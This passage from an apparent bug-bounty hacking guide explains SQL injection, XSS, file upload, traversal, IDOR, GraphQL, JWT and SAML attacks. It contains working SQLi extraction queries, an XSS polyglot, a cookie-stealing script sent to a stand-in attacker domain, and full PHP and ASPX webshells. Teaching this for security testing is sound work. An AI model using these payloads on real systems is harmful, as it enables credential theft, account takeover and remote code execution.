you can see in the above image the ExtractValue() function is used to parse out a value from an XML document. Here we pass in the XML string “<id>1</id> <name>ghostlulz</name> <email>[email protected]</email> ” and we get the value of the name tags with the second argument. So the first argument is an XML document and the second argument is the tag we want to get the value of. As shown above if the second argument starts with a “;” it will cause a MySql error message to appear along with the string that caused the error. Attackers can abuse this to extract data via error messages. Looking at the above example you can see I was able to extract the database version via an error message. Armed with this knowledge you can now use this technique to perform error based sql injection. ● AND extractvalue("blahh",concat(";",@@version)) As you can see above we were able to extract the MySql database version via an error message. The next step is to get a list of table names. Similar to union based sql injection we will be utilizing the information_schema.tables table to achieve this. ● AND extractvalue("blahh",(select concat(";",table_name) from information_schema.tables where table_schema = database() limit 0,1)) Notice the “limit 0,1” command at the end of the query. This is used to get the first row in the table, with error based sql injection we have to query one table at a time. To get the second table you would use “limit 1,1”. As you can see above we will be targeting the “users” table. Once you have your target table you need to query the column names belonging to that table. ● AND extractvalue("blahh",(select concat(";",column_name) from information_schema.columns where table_name = "users" limit 0,1)) The first column name is “uname”, now we have to get the second column name as shown below: As you can see above the second column name is called “pass”. The final step is to extract the data from these columns. ● AND extractvalue("blahh",(select concat(";",uname,":",pass) from users limit 0,1)) As you can see above we were able to extract the username and password of the first user “test:test”. To get the next user just change “limit 0,1” to “limit 1,1”. PostgreSql If you know how to perform sql injection on a mysql server then exploiting postgres will be very similar. Just like mysql I typically throw single and double quotes every where until I see the famous error message appear: As you can see above there is an error message displayed. The name “psycopg2” is a python library for postgres so if you see this name you know you’re working with a postgres database server. Union Based Sql Injection Just like MySql the first step is to determine how many columns the sql query is using, this can be accomplished by using the “order by” operator. As shown below we ask the server “do you have at least one column”, then we ask “do you have two columns”, and so on until we get an error. As you can see below once we hit 3 columns the server errors out, this tells us that there are only 2 columns being retrieved by the query. As shown below we can use the “union all select” operator to perform the second query.Also note how the second select column is wrapped in single quotes, this is because the column types must match the original query. The first column is an integer and the second column is a string. Note you can also use the word “null” if you don’t know the data type, so it would look like: ● Union all select null,null If you weren't able to detect the database type from the error message you could always use the “version()” function to print the database type and version as shown below: As you can see above the application is running on PostgreSQL version 12.3. After you have the number of columns the query returns we need to find all the tables in the database. Just like MySql we can query the “information_schema.tables” table to get a list of all tables in the databases. ● union all select 1,table_name from information_schema.tables where table_schema != 'pg_catalog' and table_schema != 'information_schema' offset 0 For the most part this is the same as MySql but there are a few differences. For starters PostgreSQL doesn't have a group_concat function so instead I return one table_name at a time with the “offset” operator. Offset ‘0’ get the first table name, offset ‘1’ gets the second and so on. I also filter out the default databases “pg_catalog” and “information_schema” as they tend to clog up the results. As shown above the second table name is called “users”, this is the table we will be targeting. The next step is to extract the columns associated with the target table as shown below. ● union all select 1,column_name from information_schema.columns where table_name = 'users' offset 0 As shown above there are two interesting columns called username and password. These are the columns we will be extracting data from as shown in the below query: ● union all select 1,concat(username,':',password) from users offset 0 Finally the username and password of the first user is shown. An attacker could then use these credentials to log in to the application. Oracle MySql and PostgreSql are very similar to each other so if you know one the other will come easy. However, Oracle is different from those two and will require some additional knowledge to successfully exploit it. As always when testing for this vulnerability I usually just throw a bunch of single and double quotes around until I get an error message as shown below: As shown above the error message starts with “ORA” and that's a good sign that you are dealing with an Oracle database. Sometimes you can’t tell the database type from the error message if that's the case you need to return the database version from a sql query as shown below: ● select banner from v$version Note that similar to PostgreSql when you are selecting a column it must match the type of the first select statement. You can also use the word ‘null’ as well if you don't know the type. Another thing to note is that when using the select operator you must specify a table, in the above image the default table of “dual” was used. Union Based Sql Injection Just like MySql and PostgreSql the first step is to figure out how many columns the select statement is using. Again this can be accomplished with the “order by” operator as shown below: As mentioned in the previous sections we increase the order by operator by one until you get an error. This will tell you how many columns there are. As shown above an error was displayed once we got to column number 3 so there must only be 2 columns used in the select statement. The next step is to retrieve a list of tables belonging to the database as shown below: ● union all select LISTAGG(table_name,',') within group (ORDER BY table_name),null from all_tables where tablespace_name = 'USERS' -- If you’re used to using MySql or PostgreSql you would normally use the “information_schema.tables” table to get a list of tables but oracle uses the “all_tables” table for this. You probably want to filter on the “tablespace_name” column value “USERS” otherwise you will get hundreds of default tables which you have no use for. Also notice the “listagg()” function, this is the same as MySqls ‘group_concat()’ function and is used to concatenate several rows into a single string. When using the listagg() function you must also use the ‘within group()’ operator to specify the order of the listagg function results. Once you get your target table you need to get a list of the column names belonging to that table as shown below: ● union all select LISTAGG(column_name,',') within group (ORDER BY column_name),null from all_tab_columns where table_name = 'EMPLOYEES'-- In MySql we would have queried the “information_schema.columns” table to get a list of columns belonging to a table but with oracle we use the “all_tab_columns” table to do this. Finally once you know the tables column names you can extract the information you want using a standard sql query as shown below: ● Union all select email,phone_number from employees As you might have noticed Oracle sql injection is a little different compared to MySql and PostgreSql but it is still very similar. The only difference is the syntax of a couple things but the process remains the same. Figure out the target table name, get the tables columns, then finally extract the sensitive information. Summary SQL injection is one of the oldest tricks in the book yet it still makes the OWASP top 10 list every year. It's relatively easy to search for and exploit plus it has a high impact on the server since you are able to steal everything in the database including usernames and passwords. If you're searching for this vulnerability you are bound to come across a vulnerable endpoint, just throw single and double quotes everywhere and look for the common error messages. Unlike 90% of other hackers you should know how to exploit the vast majority of databases not just Mysql so when you do find this bug it shouldn't be too hard to exploit. Cross Site Scripting(XSS) Introduction Cross site scripting(XSS) is one of the oldest and most common vulnerabilities out there and has been on the OWASP top 10 list for awhile now. XSS allows attackers to execute javascript code and in the target browser. This can be used to steal tokens, sessions, cookies , and much more. There are three types of XSS reflected, stored, and DOM based. The following sections will discuss each of these. Reflected XSS One of the most basic forms of cross site scripting is reflected XSS. With reflected XSS user input is reflected in the html source. If done improperly an attacker could insert malicious payloads into the page. Basic script alert In the above example you can see that user input is being reflected between the two “<b>” tags. If the input is not being sanitized an attacker could insert javascript code as shown below: As you can see above I was able to insert a javascript command to pop an alert box on the screen. A real attacker wouldn't pop an alert box they would insert a javascript payload to steal the users cookie so they could login as that user. Input Field In the image below the users input is being reflected in the <input> tags value attribute and also in between the two <b> tags like the last exercise. However, the input between the <b> tags is being sanitized by the back end application. This will prevent us from inputting javascript tags at that location since the ‘<’ symbol is being html encoded. You can’t have a “<script>” tag without the “<”. If you look at the <input> tags value attribute the input is not being sanitized. So if we can break out of the value attribute we should be able to insert our javascript payload. Think about it, our input is contained in an input tag and is enclosed by double quotes. To break out of the double quotes we need to insert a double quote and to break out of the input tag we need to close it with a “>” symbol. As you can see above we used the “> characters to break out of the input tag. Then we inserted our javascript payload to pop an alert box. Just because your payload is reflected in the page doesn't mean it will immediately trigger, you might have to break out of a few tags to get the payload to work properly. Event Attributes As shown in the image below our input is again being sanitized to prevent XSS. This time both the <b> tags and <input> tags are being sanitized to prevent the use of “<” and “>” tags. Under most conditions this is efficient at preventing XSS but there are a few edge cases where we don't need “<” and “>” tags. Event attributes are applied to HTML tags for the execution of Javascript when certain events occur, for example, onclick , onblur , onmousehover , etc. What's nice about these attributes is that we don’t need “<” or “>” tags. A few example events can be found in the image below: For this example I will be using the onfocus event. This event will run our javascript payload when a user focuses their mouse on the input field, this happens by default when they click the input field to type in their input. As you can see above we successfully injected an onfocus event into the input tag. When a user focuses on this input tag our function will execute and an alert box will appear. Stored XSS If you understand how to exploit reflected XSS then learning stored XSS will be a breeze. The only difference between stored XSS and reflected XSS is that stored XSS will be permanently stored somewhere while reflected XSS is not. In the illustration above the XSS payload is stored in a (Database,Json File,XML File) and retrieved by the application. This means that once a user visits the vulnerable endpoint the XSS payload will be retrieved and executed by the application. When searching for this vulnerability you have to think about what information the application saves in its database and outputs to the screen. Some examples are shown below: ● Email ● Username ● BIO ● Address ● Comments ● Images ● Links As you can see above there are a bunch of potential things that are saved and displayed in an application. For example when you sign up for a website you will have to login with your username. This username may be used to display a greeting message, used in an error message, or many other things. If the developer does not sanitize this value it could lead to XSS. Another popular feature used to store user input is comments. A lot of websites have the ability to write a comment and have it displayed on the page. This is the perfect place for stored XSS. As shown above we have an application which allows users to leave a comment. If we enter the string “<script>alert(0)</script>” as our comment it will be saved by application and displayed to every user who visits the page. If you look at line “121” our payload is being executed by the application. This means that any user visiting this endpoint will see the famous alert prompt. As you can tell stored XSS is very similar to reflected XSS. The only difference is that our payload is saved by the application and executed by every user who visits the vulnerable endpoint. DOM Based XSS Introduction Reflected and stored XSS occur when server side code unsafely concatenates user supplied input with the HTTP response. DOM based XSS happens client side entirely within the browser, this means we should be able to spot these vulnerabilities by looking at the javascript source code. Remember javascript is executed in the browser so we have access to everything, all you need to know now are some basic code review techniques. When performing a code review people generally look for user supplied input (source) and track them through the program until it gets executed (sink) as shown in the below illustration: As shown above the user is able to control the GET parameter “vuln”. This parameter is then saved to a variable called “vul_var” where it finally ends up being passed as an argument to the function “eval”. The eval function is used to execute javascript and since the arguments passed to this function are controlled by the user attackers could pass a malicious payload which would be executed by the users browser. The above code snippet is another example of DOM xss. This time the GET parameter “index” is being passed to the “eval” function. The “index” parameter is the source and the “eval” function is the sink. Note, if a javascript function is passed to the eval function it will be automatically executed before the eval function is run. This is actually true for any function that takes another function as an argument as shown in the image below: Sources As mentioned earlier we need to find all the locations where user input AKA source is being used by the application. A list of javascript sources can be found in the list below: ● document.URL ● document.documentURI ● document.baseURI ● location ● location.href ● location.search ● location.hash ● Location.pathname ● Document.cookie This is not a list of all the sources but these are some of the major ones. As mentioned earlier these sources can be modified by the user so if they are used improperly things could go wrong. Now that you understand how to find the user input (source) you need to figure out where it is being used in the application. If the source is being paced to a dangerous sink you could have XSS. Sinks When a source is passed to a dangerous sink in javascript it is possible to gain code execution within the clients browser. According to Google “Sinks are meant to be the points in the flow where data depending from sources is used in a potentially dangerous way resulting in loss of Confidentiality, Integrity or Availability (the CIA triad)”. A list of dangerous sinks can be found below: Sink Example Eval eval(“Javascript Code” + alert(0)) Function function(“Javascript Code” + alert(0)) SetTimeout settimeout(“Javascript Code” + alert(0),1) SetInterval setinterval(“Javascript Code” + alert(0),1) Document.write document.write("html"+ “<img src=/ onerror=alert(0)”) Element.innerHTML div.innerHTML = "htmlString"+ “<img src=/ onerror=alert(0)” This is not a complete list of sinks but these are some of the most popular ones out there. If user supplied input(source) is ever passed to a dangerous sink you probably have DOM based XSS. Polyglot When testing for XSS you often have to break out of multiple tags to get a payload to trigger. Just pasting the payload “<script>alert(0)</script>” and looking for an alert box won't always work. You might have to break out of a set of quotes so your payload would look like ‘ “</script>alert(0)</script>’ or you have to break out of a div tag so your payload may look like “ ><script>alert(0)</script>”. Maybe the vulnerability is in an image src attribute so your payload looks like “javascript:alert(0)” or maybe it's a DOM based vulnerability so your payload would just be “alert(0)”. As you can tell the basic “<script>alert(0)</script>” payload is going to miss a lot of things. What if we had one payload that would trigger for all these cases, we wouldn't miss anything. ● jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=a lert()//>\x3e The example shown above is a famous XSS polyglot by “0xsobky” and it can be used to trigger your xss payload on a multitude of scenarios. Beyond the alert box Making an alert box appear is cool and all but it doesnt show the full impact of an XSS vulnerability. Most security folks know when you get a XSS POC and it pops an alert box that there is something dangerous going on. However, some individuals see an alert box pop and think “who cares”. If you are unfamiliar with XSS you might dismiss the alert box as nothing when in reality XSS can do much more. As a security professional it's your job to convey the impact of a vulnerability. Cookie Stealer Depending on the application, cookies are used to store a user's authentication details. When a user logs into an application the server will add a cookie to the users browser. Whenever the application needs to verify the user's identity it will use the cookie it set previously and check its value to see who the user is and what permissions they have. If an attacker steals this cookie they will be able to impersonate the victim giving them access to their account. Javascript can be used to retrieve a users cookies as shown below: ● Document.cookie Now that we have a way of retrieving the user's cookie we need a way to send it to the attacker's machine. Lucky for us this step can also be accomplished utilizing javascript. By modifying the “document.location” we can force the browser to navigate to an attackers webpage as shown below : ● Document.location = ” http://attacker-domain.com ” Finally, we just have to combine these two commands to grab the victims cookies and send them to the attackers machine. This can be done with the following POC shown below: ● <script type="text/javascript"> document.location='http://attacker-domain/cookiestealer?cookie='+document.coo kie; </script> As you can see above when the payload was executed it sent the users cookie to our server. As an attacker we could use this cookie to login as the victim user allowing us to fully compromise their account. Summary Cross site scripting(XSS) is one of the oldest and most prevalent types of vulnerability impacting web applications. If you only knew how to exploit XSS you would still be able to make a decent amount of cash from bug bounties as this is the number one vulnerability found. There are three types of XSS vulnerabilities reflected,stored, and DOM. Reflected and stored XSS are very similar. The only difference is that one will persist in the application while the other won’t. DOM XSS is fairly different compared to reflected and stored XSS as everything happens in the victim's browser and you have to be on the lookout for sources and sinks. Testing for XSS can also be a challenge since there are so many possible scenarios. To combat this a polyglot XSS payload can be used which will allow you to exploit multiple different scenarios. Finally when attempting to show the impact of your finding try to stay away from the typical alert box payload. Instead try stealing the users cookies for account takeover, this will demonstrate the impact of this vulnerability much better than popping an alert box. File Upload Introduction File upload vulnerabilities aren't as common as they once were but that doesn't mean you won't see it from time to time. As you are aware, web applications sometimes let users upload file files to their site. This can be in the form of a profile picture, pdf upload functionality, or whatever. If done improperly attackers can upload malicious files potentially gaining remote code execution(RCE). If there is an upload feature you should be testing for this vulnerability. File Upload One of the first things I do when testing file upload functionalities is to upload a simple cmd backdoor. Depending on the language of the target web application your back door will look different, below are some examples: Language Code PHP <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> ASPX <%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><script Language="c#" runat="server">void Page_Load(object sender, EventArgs e){}string ExcuteCmd(string arg){ProcessStartInfo psi = new ProcessStartInfo();psi.FileName = "cmd.exe";psi.Arguments = "/c "+arg;psi.RedirectStandardOutput = true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamReader stmrdr = p.StandardOutput;string s = stmrdr.ReadToEnd();stmrdr.Close();return s;}void cmdExe_Click(object sender, System.EventArgs e){Response.Write("<pre>");Response.W rite(Server.HtmlEncode(ExcuteCmd(txtAr g.Text)));Response.Write("</pre>");}</scri In the example below we upload a simple PHP webshell to the target environment. The application does not have any restrictions to which file type can be uploaded so an attacker could upload a PHP script and if it's in the web directory we can navigate to it and it will execute. pt><HTML><HEAD><title>awen asp.net webshell</title></HEAD><body ><form id="cmd" method="post" runat="server"><asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox><asp:Butt on id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>< asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label></ form></body></HTML> Nowe that the webshell is uploaded we need to figure out where it's uploaded to. Once you figure this out you can navigate to the backdoor and execute any shell command you want as shown below: As you can see above the shell successfully uploaded and we were able to execute remote commands. Content Type Bypass Content type validation is when the server validates the content of the file by checking the MIME type of the file, which can be found in the http request. As we can see the above image clearly states the file has a Content-Type of “application/x-php”. However, if we try to upload the file it will be blocked because that content type is not allowed to be uploaded. Uploading images is allowed though. If the server trusts the content-type in the HTTP request an attacker could change this value to “image/jpeg” which would pass the validation. This passes the content-type validation check and allows us to upload our malicious PHP payload. File Name Bypass Sometimes the server will check the file name to see if it is blacklisted or white listed. As you might know from other vulnerabilities this approach to defense has many flaws. The issue with black listing is that if you forget even 1 extension attackers can bypass the validation. To implement this check most developers will use a regex to check the file extension. As shown above we were able to bypass the regex validation by changing the extension to “phpt” and “phtml”. Most people don’t know about these extensions and that they can be used to execute PHP files. The developer only has to be missing one extension from the validation check and we can bypass it. Summary File upload vulnerabilities may be a little harder to find in the wild since most people are aware of this bug but if you do find this vulnerability it almost always leads to remote code execution (RCE). For this reason alone you should always check for this vulnerability whenever you see the ability to upload files to an application. Directory Traversal Introduction Directory traversal is a vulnerability that occurs when developers improperly use user supplied input to fetch files from the operating system. As you may know the “../” characters will traverse back one directory so if this string is used to retrieve files you can retrieve sensitive files by traversing up or down the file structure. As you can see above the characters “../” are used to go one directory up from the current one. Directory Traversal If you see an application utilizing user supplied input to fetch files you should immediately test to see if its vulnerable to directory traversal. This can be fairly easy to spot as shown below: ● https://example.com/?page=index.html As you can see there is a GET parameter called page which is used to load the contents of “index.html”. If improperly implemented attackers leverage the “../” technique to load any file they want. As you can see above the GET parameter “page” is loaded into a variable called “file”. Then on line 10 the file is opened and read out to the page. You can clearly see that there are no additional checks so we should be able to exploit this. As you can see we exploited this vulnerability to retrieve the “/etc/passwd” file from the operating system. In case you didn't know the “/etc/passwd” file is used to store information on each user account in a linux system. Summary Directory traversal is an easy bug for developers to mess up if they aren't thinking correctly when coding. If an application uses user supplied input to interact with files on the system then there is a chance the endpoint is vulnerable to directory traversal. If you do find this vulnerability make sure to look for config files, source code, or if it is in an upload functionality try overwriting files on disk. Open Redirect Introduction According to Google “Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way”. Basically we force the application to redirect to an attacker controlled site. This is typically considered a low impact vulnerability. However, this vulnerability can be chained with other bugs giving you greater impact. Open Redirect As mentioned earlier our goal is to make the application redirect to our site. Looking at the code below we can clearly see user supplied input is being passed to a redirect function. In the real world you probably won't have to have access to the source code so you will just have to test the site the old fashion way. To do this I try to get the site to redirect to Google, if it does then the application is vulnerable. Summary Open redirect is an easy bug to find and has little impact on the application. You may be able to make a few dollars reporting this bug but you're better off trying to chain this vulnerability with other bugs such as SSRF, OATH bypass, and other things. Insecure Direct Object Reference(IDOR) Introduction Insecure direct object reference(IDOR) is a vulnerability that occurs when a user is able to view unauthorized data. The issue here is that the developer failed to implement proper access controls when calling resources so users can access other users data. IDOR IDOR is one of my favorite vulnerabilities to search for as it is easy to find and can have a high impact depending on the context. The vast majority of the time you can spot this vulnerability by looking for a request which contains your user id, username, email, or some other id tied to your user. Some applications will use this id to serve you content based on the id supplied. Under normal circumstances you would only supply your users id so developers might forget to include authentication checks when retrieving this data. If that's the case attackers can supply other users id to retrieve data belonging to them. This could be anything such as a user's shipping address, credit card number, email, or anything. Not only can you retrieve information but sometimes you can exploit IDOR to send commands to the application such as adding an admin account, changing a user's email, or removing a set of permissions. As you can see above there are two requests. One will set a users email and the other will get a users email. The backend application uses the “userId” value supplied by the user when performing these actions without any other verification. So as an attacker we could easily modify and retrieve any user's email on the application. Sometimes it is as easy as changing your user id to another users but what if you can’t easily guess the userid as shown in the response below: Looking at the user id of “8f14e45fceea167a5a36dedd4bea2543” you might think it's a random id that's impossible to guess but that may not be the case. It's common practice to hash user ids before storing them in a database so maybe that's what's happening here. As you can see above this is a MD5 hash of the number 7. If an attacker were to take an MD5 Hash of the number “11” they would be able to craft a user id for that user. Now that we generated an MD5 hash for the integer 11 we can use this to retrieve information from that person's user account. Since the user id is guessable and increments by one for every user this attack could also be scripted to exploit every user on the application. Summary IDOR is all about abusing an application's functionality to retrieve unauthorized information. It can be as easy as changing a user's id to someone else's though you may have to figure out a way to generate another user's id if it's not easily guessable. Once exploited this vulnerability can be used to retrieve sensitive information of other users or issue commands as other users. That's why this vulnerability is normally considered high severity finding, it's easy to find, easy to locate, and it normally has high impact. Conclusion Learning how to exploit common web application vulnerabilities by hand is a must for any security professional. As a hunter you want to pay close attention to the bugs that are most commonly found by other hunters. XSS is extremely popular and easy to exploit so if you're new to this field I would start here, it is the most paid bug by Hackerone. You also need to know other basic vulnerabilities such as sql injection and IDOR as they are also frequently found in web applications and often lead to high severity findings. There are a bunch of other OWASP vulnerabilities that you will want to learn so you can add them to your arsenal of techniques. The more vulnerabilities you know how to exploit the better your chances of finding one and as you progress through the book you will learn more. That being said if you only know a few basic web vulnerabilities you can still be wildly successful. API Testing Introduction Back in the day applications were built using a single language such as PHP but the architecture of today's applications tend to look a little different. Most modern day applications are split into two sections, frontend and backend as shown below: As mentioned before the application is separated into front end and back end code. The frontend is the web UI you see in your browser, this is typically written in a modern day javascript framework such as ReactJS or AngularJS. The backend is the API and can be written in multiple languages. When dealing with this type of application there are certain things you need to know and get familiar with if you want to be successful. There are several types of APIs and they are each slightly different so before you start API hacking you need to understand a few things. APIs Rest API If you notice an application talking to a backend API 9/10 times it’s going to be a REST API. An example request in Burp to a REST API might look something like the image below: When looking at this request the first sign that tells me this is a request for a REST API is the fact that the request data is a JSON string. JSON strings are widely used by REST APIs. The other sign is that the application is issuing a PUT request. The PUT method is one of several HTTP methods associated with REST APIs as shown in the below table: Http Methods Description GET Used to get a resource or information from a server. For example a banking application might use a GET request to retrieve your first and last name so it can be displayed on the screen. POST Used to create a resource though people use this as a way of updating well. For example a social media application might use a POST request to create a new message. PUT Used to update a resource. For example a PUT request might be used to update your password when you issue a password reset. PATCH Used to update a resource. DELETE Used to delete a resource. For example a social media application might use the DELETE method when deleting a comment. Now that you know this information you can tell the previous PUT request in Burp is updating “param1” and setting its value to “value1”. Another sign you're dealing with a REST API is when the HTTP response contains a MIME type of JSON as shown in the below Burp requests: As mentioned earlier the vast majority of REST APIs use JSON so if you get a JSON response you're probably dealing with a REST API. Remote Procedure Call (RPC) Remote Procedure Call (RPC) is the oldest form of communication you will see being used by an application dating back to the 1980s. This protocol is fairly basic, each HTTP request maps to a particular function. There are several indicators here which hint that this is an RPC endpoint. The first thing is the file name “xmlrpc.php”. XMLRPC uses XML while JSONRPC uses JSON for its encoding type. If this endpoint was an JSONRPC API the data would be contained in a JSON string instead of an XML doc, that's really the only difference between the two RPC APIs. In the request body you see two tags called “methodCall” and “methodName” , I mentioned earlier that RPC requests correspond to function names so this is another hint at this being an RPC API. In case you're not familiar with programming, “method” means the same thing as “function. Here we are calling the function “system.listMethods” and passing zero arguments. After issuing the request the server responded with an XML document containing a list of methods exposed by this API. You know that REST APIs use several HTTP methods such as PUT,POST, and DELETE but RPC APIs only use two, GET and POST methods. So if you see an HTTP request using something other than a GET or POST request you know it’s probably not an RPC API. Simple Object Access Protocol (SOAP) In the previous section I mentioned RPC APIs, specifically I talked about something called XMLRPC. You can think of a SOAP API as a more advanced version of XMLRPC. They are both very similar by the fact they both use XML for encoding and HTTP to transfer messages. However, SOAP APIs tend to be a little more complex as shown in the below request: Unlike the XMLRPC request which is just an XML blob of data the SOAP request is a little more structured and inorder to send a SOAP request you must follow this structure. An example of the SOAP format can be found below: As you can see the message is first wrapped in an “<soapenv:Envelope>” tag which contains the header and body tags. This value can be used as an indicator that you’re dealing with a SOAP API so be on the lookout for this string. The header part is optional and is used to hold values related to authentication, complex types, and other information about the message itself. The body is the part of the XML document which actually contains our message as shown below example: <soapenv:Body> <web:GetCitiesByCountry> <!--type: string--> <web:CountryName>gero et</web:CountryName> </web:GetCitiesByCountry> <soapenv:Body> As you can see in the above SOAP body we are calling a method named “ GetCitiesByCountry ” and passing in an argument called “CountryName ” with a string value of “gero et” . GraphQL API GraphQL is a data query language developed by Facebook and was released in 2015. GraphQL acts as an alternative to REST API. Rest APIs require the client to send multiple requests to different endpoints on the API to query data from the backend database. With graphQL you only need to send one request to query the backend. This is a lot simpler because you don’t have to send multiple requests to the API, a single request can be used to gather all the necessary information. As new technologies emerge so will new vulnerabilities. By default graphQL does not implement authentication, this is put on the developer to implement. This means by default graphQL allows anyone to query it, any sensitive information will be available to attackers unauthenticated. When performing your directory brute force attacks make sure to add the following paths to check for graphQL instances. ● /graphql ● /graphiql ● /graphql.php ● /graphql/console Once you find an open graphQL instance you need to know what queries it supports. This can be done by using the introspection system, more details can be found here: ● https://graphql.org/learn/introspection/ Issuing the following requests will show you all the queries that are available on the endpoint. ● example.com/graphql?query={__schema{types{name,fields{name}}}} As you can see there is a type called “User” and it has two fields called “username” and “password”. Types that start with a “__” can be ignored as those are part of the introspection system. Once an interesting type is found you can query its field values by issuing the following query: ● http://example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2 }} Once the query is submitted it will pull the relevant information and return the results to you. In this case we get a set of credentials that can be used to login to the application. GraphQL is a relatively new technology that is starting to gain some traction among startups and large corporations. Other than missing authentication by default graphQL endpoints can be vulnerable to other bugs such as IDOR. Authentication If an application requires you to login it must use some form of authentication to verify who you are. Depending on what authentication method an application is using there could be several types of attacks used to compromise the authentication process. Compromising the authentication process will typically lead to account takeover(ATO) vulnerabilities and depending on the accounts you takeover it could also lead to privilege escalation. In the below sections I talk about the most common authentication methods and their pitfalls. HTTP Basic This is probably the most basic and easy to implement type of authentication. As shown in the below image you can identify HTTP Basic Auth by the popup it displays in web browsers. After typing in your username and password the authentication details are stored in an authorization header as shown below: Note that the authorization header is just a base64 encoded string of the username and password. If we were to decode the above string we would get the following: That's one of the biggest downfalls of using HTTP Basic Auth. Each time you send a request your clear text username and password are sent as a base64 encoded authentication header making it very susceptible to eavesdropping attacks. Json Web Token (JWT) Introduction Json Web Tokens(JWTs) are extremely popular among API endpoints as they are easy to implement and understand. When a user attempts to login the system will send its credentials to the back end API. After that the backend will verify the credentials and if they are correct it will generate a JWT token. This token is then sent to the user, after that any request sent to the API will have this JWT token to prove its identity. As shown below a JWT token is made up of three parts separated by dots: ● eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFt ZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwp MeJf36POk6yJV_adQssw5c The token can easily be decoded using a base64 decoder, but I like to use the site jwt.io to decode these tokens as shown above. Notice how there are three parts to a JWT token: ● Header ● Payload ● Signature The first part of the token is the header, this is where you specify the algorithm used to generate the signature. The second part of the token is the payload, this is where you specify the information used for access control. In the above example the payload section has a variable called “name”, this name is used to determine who the user is when authenticating. The last part of the token is the signature, this value is used to make sure the token has not been modified or tampered with. The signature is made by concatenating the header and the payload sections then it signs this value with the algorithm specified in the header which in this case is “H256”. If an attacker were able to sign their own key they would be able to impersonate any user on the system since the backend will trust whatever information is in the payload section. There are several different attacks which attempt to achieve this as shown in the below sections. Deleted Signature Without a signature anyone could modify the payload section completely bypassing the authentication process. If you remove the signature from a JWT token and it's still accepted then you have just bypassed the verification process. This means you can modify the payload section to anything you want and it will be accepted by the backend. Using the example from earlier we could change the “name” value from “john doe” to “admin” potentially signing us in as the admin user. None Algorithm If you can mess with the algorithm used to sign the token you might be able to break the signature verification process. JWT supports a “none” algorithm which was originally used for debugging purposes. If the “none” algorithm is used any JWT token will be valid as long as the signature is missing as shown below: Note that this attack can be done manually or you can use a Burp plugin called “Json Web Token Attacker” as shown in the below image: I personally like using the plugin as you can make sure you don’t mess anything up and it's generally a lot faster to get things going. Brute Force Secret Key JWT tokens will either use an HMAC or RSA algorithm to verify the signature. If the application is using an HMAC algorithm it will use a secret key when generating the signature. If you can guess this secret key you will be able to generate signatures allowing you to forge your own tokens. There are several projects that can be used to crack these keys as shown below: ● https://github.com/AresS31/jwtcat ● https://github.com/lmammino/jwt-cracker ● https://github.com/mazen160/jwt-pwn ● https://github.com/brendan-rius/c-jwt-cracker The list can go on for days, just search github for the words “jwt cracker” and you will find all kinds of tools that can do this for you. RSA to HMAC There are multiple signature methods which can be used to sign a JWT token as shown in the list below: ● RSA ● HMAC ● None RSA uses a public/private key for encryption, if you are unfamiliar with the asymmetric encryption processes I would suggest looking it up. When using RSA the JWT token is signed with a private key and verified with the public key. As you can tell by the name the private key is meant to be private and the public key is meant to be public. HMAC is a little different, like many other symmetric encryption algorithms HMAC uses the same key for encryption and decryption. In the code when you are using RSA and HMAC it will look something like the following: ● verify(“RSA”,key,token) ● verify(“HMAC”,key,token) RSA uses a private key to generate the signature and a public key for verifying the signature while HMAC uses the same key for generating and verifying the signature. As you know from earlier the algorithm used to verify a signature is determined by the JWT header. So what happens if an attacker changes the RSA algorithm to HMAC. In that case the public key would be used to verify the signature but because we are using HMAC the public key can also be used to sign the token. Since this public key is supposed to be public an attacker would be able to forage a token using the public key and the server would then verify the token using the same public key. This is possible because the code is written to use the public key during the verification process. Under normal conditions the private key would be used to generate a signature but because the attacker specified an HMAC algorithm the same key is used for signing a token and verifying a token. Since this key is public an attacker can forge their own as shown in the below code. The original header was using the RS256 algorithm but we changed it to use HS256. Next we changed our username to admin and signed the token using the servers public key. When this is sent to the server it will use the HS256 algorithm to verify the token instead of RS256. Since the backend code was set up to use a public/private key the public key will be used during the verification process and our token will pass. Summary Json web tokens(JWT) are a relatively new way to handle authentication and it is relatively simple compared to other methods. However, even with this simplicity there are several vulnerabilities which impact JWTs. If an attacker is able to forge their own ticket its game over. This is why most of the attacks revolve around this methodology. Security Assertion Markup Language (SAML) Introduction If you're dealing with a fortune 500 company, a company implementing a zero trust network, or a company utilizing single sign on (SSO) technology then you're probably going to see Security Assertion Markup Language (SAML). According to Google SSO is “ an authentication scheme that allows a user to log in with a single ID and password to any of   several related, yet independent, software systems ”. The above illustration describes how one could implement SAML. The first thing you want to pay attention to is the SSO website and the identity provider (ID). Remember the goal of SSO is to use one set of credentials across multiple websites, so we need a central place to login to and the SSO websites acts as this place. Once we login to the SSO website the credentials will be sent to the ID. The ID will check the supplied credentials against a database and if there is a match you will be logged in. Now if we try to login to our target website AKA service provider (SP) we will be forwarded to the SSO website. Since we are already logged into the SSO website we will be forwarded back to the SP with our SAML assertion that contains our identity. A SAML Assertion is the XML document that the identity provider sends to the service provider which contains the user authorization. The SAML assertion will contain a subject section which contains the authentication information such as a username.There is also a signature section which contains a signature value that verifies the subject section hasn't been tampered with. Note that the signature section contains a tag called “Reference URI” which points to the section the signature applies to. In the below SAML assertion we see the signature has a Reference URI of “_2fa74dd0-f1dd-0138-2aed-0242ac110033”, notice how this is the same as the “Assertion ID” which means this signature is verifying that tag and everything it 